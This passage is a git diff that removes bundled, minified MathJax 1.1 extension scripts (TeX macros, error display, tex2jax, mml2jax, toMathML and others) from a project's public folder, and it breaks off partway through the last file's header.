f=this.trimSpaces(this.GetArgument(e)),h=this.trimSpaces(this.GetBrackets(e)),g=this.GetArgument(e),d=this.GetArgument(e);if(h===""){h=null}if(h!=null&&!h.match(/^[0-9]+$/)){c.Error("Illegal number of parameters specified in "+e)}a.environment[f]=["BeginEnv","EndEnv",g,d,h]},MacroDef:function(d){var e=this.GetCSname(d),g=this.GetTemplate(d,"\\"+e),f=this.GetArgument(d);if(!(g instanceof Array)){a.macros[e]=["Macro",f,g]}else{a.macros[e]=["MacroWithTemplate",f,g[0],g[1]]}},GetCSname:function(e){var f=this.GetNext();if(f!=="\\"){c.Error("\\ must be followed by a control sequence")}var d=this.trimSpaces(this.GetArgument(e));return d.substr(1)},GetTemplate:function(f,e){var j,g=[],h=0;j=this.GetNext();var d=this.i;while(this.i<this.string.length){j=this.GetNext();if(j==="#"){if(d!==this.i){g[h]=this.string.substr(d,this.i-d)}j=this.string.charAt(++this.i);if(!j.match(/^[1-9]$/)){c.Error("Illegal use of # in template for "+e)}if(parseInt(j)!=++h){c.Error("Parameters for "+e+" must be numbered sequentially")}d=this.i+1}else{if(j==="{"){if(d!==this.i){g[h]=this.string.substr(d,this.i-d)}if(g.length>0){return[h,g]}else{return h}}}this.i++}c.Error("Missing replacement string for definition of "+f)},MacroWithTemplate:function(e,h,j,g){if(j){var d=[];this.GetNext();if(g[0]&&!this.MatchParam(g[0])){c.Error("Use of "+e+" doesn't match its definition")}for(var f=0;f<j;f++){d.push(this.GetParameter(e,g[f+1]))}h=this.SubstituteArgs(d,h)}this.string=this.AddArgs(h,this.string.slice(this.i));this.i=0;if(++this.macroCount>c.config.MAXMACROS){c.Error("MathJax maximum macro substitution count exceeded; is there a recursive macro call?")}},BeginEnv:function(g,j,d,h){if(h){var e=[];for(var f=0;f<h;f++){e.push(this.GetArgument("\\begin{"+name+"}"))}j=this.SubstituteArgs(e,j);d=this.SubstituteArgs(e,d)}g.edef=d;this.string=this.AddArgs(j,this.string.slice(this.i));this.i=0;return g},EndEnv:function(d,e){this.string=this.AddArgs(d.edef,this.string.slice(this.i));this.i=0;return e},GetParameter:function(e,h){if(h==null){return this.GetArgument(e)}var g=this.i,d=0,f=0;while(this.i<this.string.length){if(this.string.charAt(this.i)==="{"){if(this.i===g){f=1}this.GetArgument(e);d=this.i-g}else{if(this.MatchParam(h)){if(f){g++;d-=2}return this.string.substr(g,d)}else{this.i++;d++;f=0}}}c.Error("Runaway argument for "+e+"?")},MatchParam:function(d){if(this.string.substr(this.i,d.length)!==d){return 0}this.i+=d.length;return 1}});c.Environment=function(d){a.environment[d]=["BeginEnv","EndEnv"].concat([].slice.call(arguments,1))};MathJax.Hub.Startup.signal.Post("TeX newcommand Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/newcommand.js");
-
diff --git a/public/MathJax/extensions/TeX/noErrors.js b/public/MathJax/extensions/TeX/noErrors.js
deleted file mode 100644
index cf95b18e..00000000
--- a/public/MathJax/extensions/TeX/noErrors.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/TeX/noErrors.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(){var c="1.1";var a=MathJax.Hub.CombineConfig("TeX.noErrors",{multiLine:true,inlineDelimiters:["",""],style:{"font-family":"serif","font-size":"80%","text-align":"left",color:"black",padding:"1px 3px",border:"1px solid"}});var b="\u00A0";MathJax.Extension["TeX/noErrors"]={version:c,config:a};MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){MathJax.InputJax.TeX.Augment({formatError:function(f,e,g,d){var i=a.inlineDelimiters;var h=(g||a.multiLine);if(!g){e=i[0]+e+i[1]}if(h){e=e.replace(/ /g,b)}else{e=e.replace(/\n/g," ")}return MathJax.ElementJax.mml.merror(e).With({isError:true,multiLine:h})}})});MathJax.Hub.Register.StartupHook("HTML-CSS Jax Config",function(){MathJax.Hub.Config({"HTML-CSS":{styles:{".MathJax .merror":MathJax.Hub.Insert({"font-style":null,"background-color":null,"vertical-align":(MathJax.Hub.Browser.isMSIE&&a.multiLine?"-2px":"")},a.style)}}})})})();MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var a=MathJax.ElementJax.mml;var b=MathJax.OutputJax["HTML-CSS"];var c=a.math.prototype.toHTML;a.math.Augment({toHTML:function(d,e){if(this.data[0]&&this.data[0].data[0]&&this.data[0].data[0].isError){return this.data[0].data[0].toHTML(d)}return c.call(this,d,e)}});a.merror.Augment({toHTML:function(j){if(!this.isError){return a.mbase.prototype.toHTML.call(this,j)}j=this.HTMLcreateSpan(j);if(this.multiLine){j.style.display="inline-block"}var l=this.data[0].data[0].data.join("").split(/\n/);for(var g=0,e=l.length;g<e;g++){b.addText(j,l[g]);if(g!==e-1){b.addElement(j,"br")}}var n=b.getHD(j.parentNode),d=b.getW(j.parentNode);if(e>1){var k=(n.h+n.d)/2,h=b.TeX.x_height/2;var f=b.config.styles[".MathJax .merror"]["font-size"];if(f&&f.match(/%/)){h*=parseInt(f)/100}j.parentNode.style.verticalAlign=b.Em(n.d+(h-k));n.h=h+k;n.d=k-h}j.bbox={h:n.h,d:n.d,w:d,lw:0,rw:d};return j}});MathJax.Hub.Startup.signal.Post("TeX noErrors Ready")});MathJax.Hub.Register.StartupHook("NativeMML Jax Ready",function(){var b=MathJax.ElementJax.mml;var a=MathJax.Extension["TeX/noErrors"].config;var c=b.math.prototype.toNativeMML;b.math.Augment({toNativeMML:function(d){if(this.data[0]&&this.data[0].data[0]&&this.data[0].data[0].isError){return this.data[0].data[0].toNativeMML(d)}return c.call(this,d)}});b.merror.Augment({toNativeMML:function(g){if(!this.isError){return b.mbase.prototype.toNativeMML.call(this,g)}g=g.appendChild(document.createElement("span"));var h=this.data[0].data[0].data.join("").split(/\n/);for(var f=0,e=h.length;f<e;f++){g.appendChild(document.createTextNode(h[f]));if(f!==e-1){g.appendChild(document.createElement("br"))}}if(this.multiLine){g.style.display="inline-block";if(e>1){g.style.verticalAlign="middle"}}for(var j in a.style){if(a.style.hasOwnProperty(j)){var d=j.replace(/-./g,function(i){return i.charAt(1).toUpperCase()});g.style[d]=a.style[j]}}return g}});MathJax.Hub.Startup.signal.Post("TeX noErrors Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/noErrors.js");
-
diff --git a/public/MathJax/extensions/TeX/noUndefined.js b/public/MathJax/extensions/TeX/noUndefined.js
deleted file mode 100644
index 511e7118..00000000
--- a/public/MathJax/extensions/TeX/noUndefined.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/TeX/noUndefined.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Extension["TeX/noUndefined"]={version:"1.1",config:MathJax.Hub.CombineConfig("TeX.noUndefined",{attributes:{mathcolor:"red"}})};MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var b=MathJax.Extension["TeX/noUndefined"].config;var a=MathJax.ElementJax.mml;MathJax.InputJax.TeX.Parse.Augment({csUndefined:function(c){this.Push(a.mtext(c).With(b.attributes))}});MathJax.Hub.Startup.signal.Post("TeX noUndefined Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/noUndefined.js");
-
diff --git a/public/MathJax/extensions/TeX/unicode.js b/public/MathJax/extensions/TeX/unicode.js
deleted file mode 100644
index a451f877..00000000
--- a/public/MathJax/extensions/TeX/unicode.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/TeX/unicode.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Extension["TeX/unicode"]={version:"1.1",unicode:{},config:MathJax.Hub.CombineConfig("TeX.unicode",{fonts:"STIXGeneral,'Arial Unicode MS'"})};MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var d=MathJax.InputJax.TeX;var a=MathJax.ElementJax.mml;var c=MathJax.Extension["TeX/unicode"].config.fonts;var b=MathJax.Extension["TeX/unicode"].unicode;d.Definitions.macros.unicode="Unicode";d.Parse.Augment({Unicode:function(f){var j=this.GetBrackets(f),e;if(j){j=j.replace(/ /g,"");if(j.match(/^(\d+(\.\d*)?|\.\d+),(\d+(\.\d*)?|\.\d+)$/)){j=j.split(/,/);e=this.GetBrackets(f)}else{e=j;j=null}}var k=this.trimSpaces(this.GetArgument(f)),i=parseInt(k.match(/^x/)?"0"+k:k);b[i]=[800,200,500,0,500,{isUnknown:true,isUnicode:true,font:c}];if(j){b[i][0]=Math.floor(j[0]*1000);b[i][1]=Math.floor(j[1]*1000)}var g=this.stack.env.font,h={};if(e){h.fontfamily=e;if(g){if(g.match(/bold/)){h.fontweight="bold"}if(g.match(/italic/)){h.fontstyle="italic"}}b[i][5].font=e+","+c}else{if(g){h.mathvariant=g}}this.Push(a.mtext(a.entity("#"+k)).With(h))}})});MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var a=MathJax.OutputJax["HTML-CSS"];var c=MathJax.Extension["TeX/unicode"].unicode;var b=a.lookupChar;a.Augment({lookupChar:function(e,f){var d=b.call(this,e,f);if(d[f][5]&&d[f][5].isUnknown&&c[f]){d[f]=c[f]}return d}});MathJax.Hub.Startup.signal.Post("TeX unicode Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/unicode.js");
-
diff --git a/public/MathJax/extensions/TeX/verb.js b/public/MathJax/extensions/TeX/verb.js
deleted file mode 100644
index fce988ac..00000000
--- a/public/MathJax/extensions/TeX/verb.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/TeX/verb.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var c="1.1";var a=MathJax.ElementJax.mml;var d=MathJax.InputJax.TeX;var b=d.Definitions;b.macros.verb="Verb";d.Parse.Augment({Verb:function(e){var h=this.GetNext();var g=++this.i;if(h==""){d.Error(e+" requires an argument")}while(this.i<this.string.length&&this.string.charAt(this.i)!=h){this.i++}if(this.i==this.string.length){d.Error("Can't find closing delimiter for "+e)}var f=this.string.slice(g,this.i);this.i++;this.Push(a.mtext(f).With({mathvariant:a.VARIANT.MONOSPACE}))}});MathJax.Hub.Startup.signal.Post("TeX verb Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/verb.js");
-
diff --git a/public/MathJax/extensions/jsMath2jax.js b/public/MathJax/extensions/jsMath2jax.js
deleted file mode 100644
index e87541c6..00000000
--- a/public/MathJax/extensions/jsMath2jax.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/jsMath2jax.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Extension.jsMath2jax={version:"1.1.1",config:{preview:"TeX"},PreProcess:function(b){if(!this.configured){this.config=MathJax.Hub.CombineConfig("jsMath2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}if(typeof(this.config.previewTeX)!=="undefined"&&!this.config.previewTeX){this.config.preview="none"}this.previewClass=MathJax.Hub.config.preRemoveClass;this.configured=true}if(typeof(b)==="string"){b=document.getElementById(b)}if(!b){b=document.body}var c=b.getElementsByTagName("span"),a;for(a=c.length-1;a>=0;a--){if(String(c[a].className).match(/(^| )math( |$)/)){this.ConvertMath(c[a],"")}}var d=b.getElementsByTagName("div");for(a=d.length-1;a>=0;a--){if(String(d[a].className).match(/(^| )math( |$)/)){this.ConvertMath(d[a],"; mode=display")}}},ConvertMath:function(c,d){if(c.getElementsByTagName("script").length===0){var b=c.parentNode,a=this.createMathTag(d,c.innerHTML);if(c.nextSibling){b.insertBefore(a,c.nextSibling)}else{b.appendChild(a)}if(this.config.preview!=="none"){this.createPreview(c)}b.removeChild(c)}},createPreview:function(a){var b;if(this.config.preview==="TeX"){b=[this.filterTeX(a.innerHTML)]}else{if(this.config.preview instanceof Array){b=this.config.preview}}if(b){b=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},b);a.parentNode.insertBefore(b,a)}},createMathTag:function(c,b){b=b.replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&");var a=document.createElement("script");a.type="math/tex"+c;MathJax.HTML.setScript(a,b);return a},filterTeX:function(a){return a}};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.jsMath2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/jsMath2jax.js");
-
diff --git a/public/MathJax/extensions/mml2jax.js b/public/MathJax/extensions/mml2jax.js
deleted file mode 100644
index 72c27749..00000000
--- a/public/MathJax/extensions/mml2jax.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/mml2jax.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Extension.mml2jax={version:"1.1.2",config:{preview:"alttext"},MMLnamespace:"http://www.w3.org/1998/Math/MathML",PreProcess:function(e){if(!this.configured){this.config=MathJax.Hub.CombineConfig("mml2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}this.InitBrowser();this.configured=true}if(typeof(e)==="string"){e=document.getElementById(e)}if(!e){e=document.body}this.ProcessMathArray(e.getElementsByTagName("math"));if(e.getElementsByTagNameNS){this.ProcessMathArray(e.getElementsByTagNameNS(this.MMLnamespace,"math"))}var d=document.getElementsByTagName("html")[0];if(d){for(var c=0,b=d.attributes.length;c<b;c++){var a=d.attributes[c];if(a.nodeName.substr(0,6)==="xmlns:"&&a.nodeValue===this.MMLnamespace){this.ProcessMathArray(e.getElementsByTagName(a.nodeName.substr(6)+":math"))}}}},ProcessMathArray:function(b){var a;if(b.length){if(this.MathTagBug){for(a=b.length-1;a>=0;a--){if(b[a].nodeName==="MATH"){this.ProcessMathFlattened(b[a])}else{this.ProcessMath(b[a])}}}else{for(a=b.length-1;a>=0;a--){this.ProcessMath(b[a])}}}},ProcessMath:function(e){var d=e.parentNode;var a=document.createElement("script");a.type="math/mml";d.insertBefore(a,e);if(this.AttributeBug){var b=this.OuterHTML(e);if(this.CleanupHTML){b=b.replace(/<\?import .*?>/i,"").replace(/<\?xml:namespace .*?\/>/i,"");b=b.replace(/&nbsp;/g,"&#xA0;")}MathJax.HTML.setScript(a,b);d.removeChild(e)}else{var c=MathJax.HTML.Element("span");c.appendChild(e);MathJax.HTML.setScript(a,c.innerHTML)}if(this.config.preview!=="none"){this.createPreview(e,a)}},ProcessMathFlattened:function(f){var d=f.parentNode;var b=document.createElement("script");b.type="math/mml";d.insertBefore(b,f);var c="",e,a=f;while(f&&f.nodeName!=="/MATH"){e=f;f=f.nextSibling;c+=this.NodeHTML(e);e.parentNode.removeChild(e)}if(f&&f.nodeName==="/MATH"){f.parentNode.removeChild(f)}b.text=c+"</math>";if(this.config.preview!=="none"){this.createPreview(a,b)}},NodeHTML:function(e){var c,b,a;if(e.nodeName==="#text"){c=this.quoteHTML(e.nodeValue)}else{if(e.nodeName==="#comment"){c="<!--"+e.nodeValue+"-->"}else{c="<"+e.nodeName.toLowerCase();for(b=0,a=e.attributes.length;b<a;b++){var d=e.attributes[b];if(d.specified){c+=" "+d.nodeName.toLowerCase().replace(/xmlns:xmlns/,"xmlns")+"=";var f=d.nodeValue;if(f==null&&d.nodeName==="style"&&e.style){f=e.style.cssText}c+='"'+this.quoteHTML(f)+'"'}}c+=">";if(e.outerHTML!=null&&e.outerHTML.match(/(.<\/[A-Z]+>|\/>)$/)){for(b=0,a=e.childNodes.length;b<a;b++){c+=this.OuterHTML(e.childNodes[b])}c+="</"+e.nodeName.toLowerCase()+">"}}}return c},OuterHTML:function(d){if(d.nodeName.charAt(0)==="#"){return this.NodeHTML(d)}if(!this.AttributeBug){return d.outerHTML}var c=this.NodeHTML(d);for(var b=0,a=d.childNodes.length;b<a;b++){c+=this.OuterHTML(d.childNodes[b])}c+="</"+d.nodeName.toLowerCase()+">";return c},quoteHTML:function(a){if(a==null){a=""}return a.replace(/&/g,"&#x26;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")},createPreview:function(b,a){var c;if(this.config.preview==="alttext"){var d=b.getAttribute("alttext");if(d!=null){c=[this.filterText(d)]}}else{if(this.config.preview instanceof Array){c=this.config.preview}}if(c){c=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},c);a.parentNode.insertBefore(c,a)}},filterText:function(a){return a},InitBrowser:function(){var b=MathJax.HTML.Element("span",{id:"<",className:"mathjax",innerHTML:"<math><mi>x</mi><mspace /></math>"});var a=b.outerHTML||"";this.AttributeBug=a!==""&&!(a.match(/id="&lt;"/)&&a.match(/class="mathjax"/)&&a.match(/<\/math>/));this.MathTagBug=b.childNodes.length>1;this.CleanupHTML=MathJax.Hub.Browser.isMSIE}};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.mml2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/mml2jax.js");
-
diff --git a/public/MathJax/extensions/tex2jax.js b/public/MathJax/extensions/tex2jax.js
deleted file mode 100644
index 578ae2cd..00000000
--- a/public/MathJax/extensions/tex2jax.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/tex2jax.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Extension.tex2jax={version:"1.1.3",config:{inlineMath:[["\\(","\\)"]],displayMath:[["$$","$$"],["\\[","\\]"]],skipTags:["script","noscript","style","textarea","pre","code"],ignoreClass:"tex2jax_ignore",processClass:"tex2jax_process",processEscapes:false,processEnvironments:true,preview:"TeX"},PreProcess:function(a){if(!this.configured){this.config=MathJax.Hub.CombineConfig("tex2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}if(typeof(this.config.previewTeX)!=="undefined"&&!this.config.previewTeX){this.config.preview="none"}this.configured=true}if(typeof(a)==="string"){a=document.getElementById(a)}if(!a){a=document.body}this.createPatterns();this.scanElement(a,a.nextSibling)},createPatterns:function(){var d=[],c,a,b=this.config;this.match={};for(c=0,a=b.inlineMath.length;c<a;c++){d.push(this.patternQuote(b.inlineMath[c][0]));this.match[b.inlineMath[c][0]]={mode:"",end:b.inlineMath[c][1],pattern:this.endPattern(b.inlineMath[c][1])}}for(c=0,a=b.displayMath.length;c<a;c++){d.push(this.patternQuote(b.displayMath[c][0]));this.match[b.displayMath[c][0]]={mode:"; mode=display",end:b.displayMath[c][1],pattern:this.endPattern(b.displayMath[c][1])}}this.start=new RegExp(d.sort(this.sortLength).join("|")+(b.processEnvironments?"|\\\\begin\\{([^}]*)\\}":"")+(b.processEscapes?"|\\\\*\\\\\\$":""),"g");this.skipTags=new RegExp("^("+b.skipTags.join("|")+")$","i");this.ignoreClass=new RegExp("(^| )("+b.ignoreClass+")( |$)");this.processClass=new RegExp("(^| )("+b.processClass+")( |$)")},patternQuote:function(a){return a.replace(/([\^$(){}+*?\-|\[\]\:\\])/g,"\\$1")},endPattern:function(a){return new RegExp(this.patternQuote(a)+"|\\\\.","g")},sortLength:function(d,c){if(d.length!==c.length){return c.length-d.length}return(d==c?0:(d<c?-1:1))},scanElement:function(c,b,f){var a,e,d;while(c&&c!=b){if(c.nodeName.toLowerCase()==="#text"){if(!f){c=this.scanText(c)}}else{a=(typeof(c.className)==="undefined"?"":c.className);e=(typeof(c.tagName)==="undefined"?"":c.tagName);if(typeof(a)!=="string"){a=String(a)}if(c.firstChild&&!a.match(/(^| )MathJax/)&&!this.skipTags.exec(e)){d=(f||this.ignoreClass.exec(a))&&!this.processClass.exec(a);this.scanElement(c.firstChild,b,d)}}if(c){c=c.nextSibling}}},scanText:function(b){if(b.nodeValue.replace(/\s+/,"")==""){return b}var a,c;this.search={start:true};this.pattern=this.start;while(b){this.pattern.lastIndex=0;while(b&&b.nodeName.toLowerCase()==="#text"&&(a=this.pattern.exec(b.nodeValue))){if(this.search.start){b=this.startMatch(a,b)}else{b=this.endMatch(a,b)}}if(this.search.matched){b=this.encloseMath(b)}if(b){do{c=b;b=b.nextSibling}while(b&&(b.nodeName.toLowerCase()==="br"||b.nodeName.toLowerCase()==="#comment"));if(!b||b.nodeName!=="#text"){return c}}}return b},startMatch:function(a,b){var f=this.match[a[0]];if(f!=null){this.search={end:f.end,mode:f.mode,open:b,olen:a[0].length,opos:this.pattern.lastIndex-a[0].length};this.switchPattern(f.pattern)}else{if(a[0].substr(0,6)==="\\begin"){this.search={end:"\\end{"+a[1]+"}",mode:"; mode=display",open:b,olen:0,opos:this.pattern.lastIndex-a[0].length,isBeginEnd:true};this.switchPattern(this.endPattern(this.search.end))}else{var d=a[0].substr(0,a[0].length-1),g,c;if(d.length%2===0){c=[d.replace(/\\\\/g,"\\")];g=1}else{c=[d.substr(1).replace(/\\\\/g,"\\"),"$"];g=0}c=MathJax.HTML.Element("span",null,c);var e=MathJax.HTML.TextNode(b.nodeValue.substr(0,a.index));b.nodeValue=b.nodeValue.substr(a.index+a[0].length-g);b.parentNode.insertBefore(c,b);b.parentNode.insertBefore(e,c);this.pattern.lastIndex=g}}return b},endMatch:function(a,b){if(a[0]==this.search.end){this.search.close=b;this.search.cpos=this.pattern.lastIndex;this.search.clen=(this.search.isBeginEnd?0:a[0].length);this.search.matched=true;b=this.encloseMath(b);this.switchPattern(this.start)}return b},switchPattern:function(a){a.lastIndex=this.pattern.lastIndex;this.pattern=a;this.search.start=(a===this.start)},encloseMath:function(b){var a=this.search,f=a.close,e,c;if(a.cpos===f.length){f=f.nextSibling}else{f=f.splitText(a.cpos)}if(!f){e=f=MathJax.HTML.addText(a.close.parentNode,"")}a.close=f;c=(a.opos?a.open.splitText(a.opos):a.open);while(c.nextSibling&&c.nextSibling!==f){if(c.nextSibling.nodeValue!==null){if(c.nextSibling.nodeName==="#comment"){c.nodeValue+=c.nextSibling.nodeValue.replace(/^\[CDATA\[((.|\n|\r)*)\]\]$/,"$1")}else{c.nodeValue+=c.nextSibling.nodeValue}}else{if(this.msieNewlineBug){c.nodeValue+=(c.nextSibling.nodeName.toLowerCase()==="br"?"\n":" ")}else{c.nodeValue+=" "}}c.parentNode.removeChild(c.nextSibling)}var d=c.nodeValue.substr(a.olen,c.nodeValue.length-a.olen-a.clen);c.parentNode.removeChild(c);if(this.config.preview!=="none"){this.createPreview(a.mode,d)}c=this.createMathTag(a.mode,d);this.search={};this.pattern.lastIndex=0;if(e){e.parentNode.removeChild(e)}return c},insertNode:function(b){var a=this.search;a.close.parentNode.insertBefore(b,a.close)},createPreview:function(c,a){var b;if(this.config.preview==="TeX"){b=[this.filterTeX(a)]}else{if(this.config.preview instanceof Array){b=this.config.preview}}if(b){b=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},b);this.insertNode(b)}},createMathTag:function(c,b){var a=document.createElement("script");a.type="math/tex"+c;MathJax.HTML.setScript(a,b);this.insertNode(a);return a},filterTeX:function(a){return a},msieNewlineBug:(MathJax.Hub.Browser.isMSIE&&document.documentMode<9)};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.tex2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/tex2jax.js");
-
diff --git a/public/MathJax/extensions/toMathML.js b/public/MathJax/extensions/toMathML.js
deleted file mode 100644
index 70203c7d..00000000
--- a/public/MathJax/extensions/toMathML.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/toMathML.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.LoadHook("[MathJax]/jax/element/mml/jax.js",function(){var b="1.1.1";var a=MathJax.ElementJax.mml;a.mbase.Augment({toMathML:function(k){var g=(this.inferred&&this.parent.inferRow);if(k==null){k=""}var e=this.type,d=this.MathMLattributes();if(e==="mspace"){return k+"<"+e+d+" />"}var j=[];var h=(this.isToken?"":k+(g?"":"  "));for(var f=0,c=this.data.length;f<c;f++){if(this.data[f]){j.push(this.data[f].toMathML(h))}else{if(!this.isToken){j.push(h+"<mrow />")}}}if(this.isToken){return k+"<"+e+d+">"+j.join("")+"</"+e+">"}if(g){return j.join("\n")}if(j.length===0||(j.length===1&&j[0]==="")){return k+"<"+e+d+" />"}return k+"<"+e+d+">\n"+j.join("\n")+"\n"+k+"</"+e+">"},MathMLattributes:function(){var j=[],g=this.defaults;var c=this.copyAttributes,l=this.skipAttributes;if(this.type==="math"){j.push('xmlns="http://www.w3.org/1998/Math/MathML"')}if(this.type==="mstyle"){g=a.math.prototype.defaults}for(var d in g){if(!l[d]&&g.hasOwnProperty(d)){var e=(d==="open"||d==="close");if(this[d]!=null&&(e||this[d]!==g[d])){var k=this[d];delete this[d];if(e||this.Get(d)!==k){j.push(d+'="'+this.quoteHTML(k)+'"')}this[d]=k}}}for(var h=0,f=c.length;h<f;h++){if(this[c[h]]!=null){j.push(c[h]+'="'+this.quoteHTML(this[c[h]])+'"')}}if(j.length){return" "+j.join(" ")}else{return""}},copyAttributes:["fontfamily","fontsize","fontweight","fontstyle","color","background","id","class","href","style"],skipAttributes:{texClass:1,useHeight:1,texprimestyle:1},quoteHTML:function(e){e=String(e).split("");for(var f=0,d=e.length;f<d;f++){var h=e[f].charCodeAt(0);if(h<32||h>126){e[f]="&#x"+h.toString(16).toUpperCase()+";"}else{var g={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;"}[e[f]];if(g){e[f]=g}}}return e.join("")}});a.msubsup.Augment({toMathML:function(h){var e=this.type;if(this.data[this.sup]==null){e="msub"}if(this.data[this.sub]==null){e="msup"}var d=this.MathMLattributes();delete this.data[0].inferred;var g=[];for(var f=0,c=this.data.length;f<c;f++){if(this.data[f]){g.push(this.data[f].toMathML(h+"  "))}}return h+"<"+e+d+">\n"+g.join("\n")+"\n"+h+"</"+e+">"}});a.munderover.Augment({toMathML:function(h){var e=this.type;if(this.data[this.under]==null){e="mover"}if(this.data[this.over]==null){e="munder"}var d=this.MathMLattributes();delete this.data[0].inferred;var g=[];for(var f=0,c=this.data.length;f<c;f++){if(this.data[f]){g.push(this.data[f].toMathML(h+"  "))}}return h+"<"+e+d+">\n"+g.join("\n")+"\n"+h+"</"+e+">"}});a.TeXAtom.Augment({toMathML:function(c){return c+"<mrow>\n"+this.data[0].toMathML(c+"  ")+"\n"+c+"</mrow>"}});a.chars.Augment({toMathML:function(c){return(c||"")+this.quoteHTML(this.toString())}});a.entity.Augment({toMathML:function(c){return(c||"")+"&"+this.data[0]+";<!-- "+this.toString()+" -->"}});a.xml.Augment({toMathML:function(c){return(c||"")+this.toString()}});MathJax.Hub.Register.StartupHook("TeX mathchoice Ready",function(){a.TeXmathchoice.Augment({toMathML:function(c){return this.Core().toMathML(c)}})});MathJax.Hub.Startup.signal.Post("toMathML Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/toMathML.js");
-
diff --git a/public/MathJax/extensions/v1.0-warning.js b/public/MathJax/extensions/v1.0-warning.js
deleted file mode 100644
index 891cf616..00000000
--- a/public/MathJax/extensions/v1.0-warning.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/extensions/v1.0-warning.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
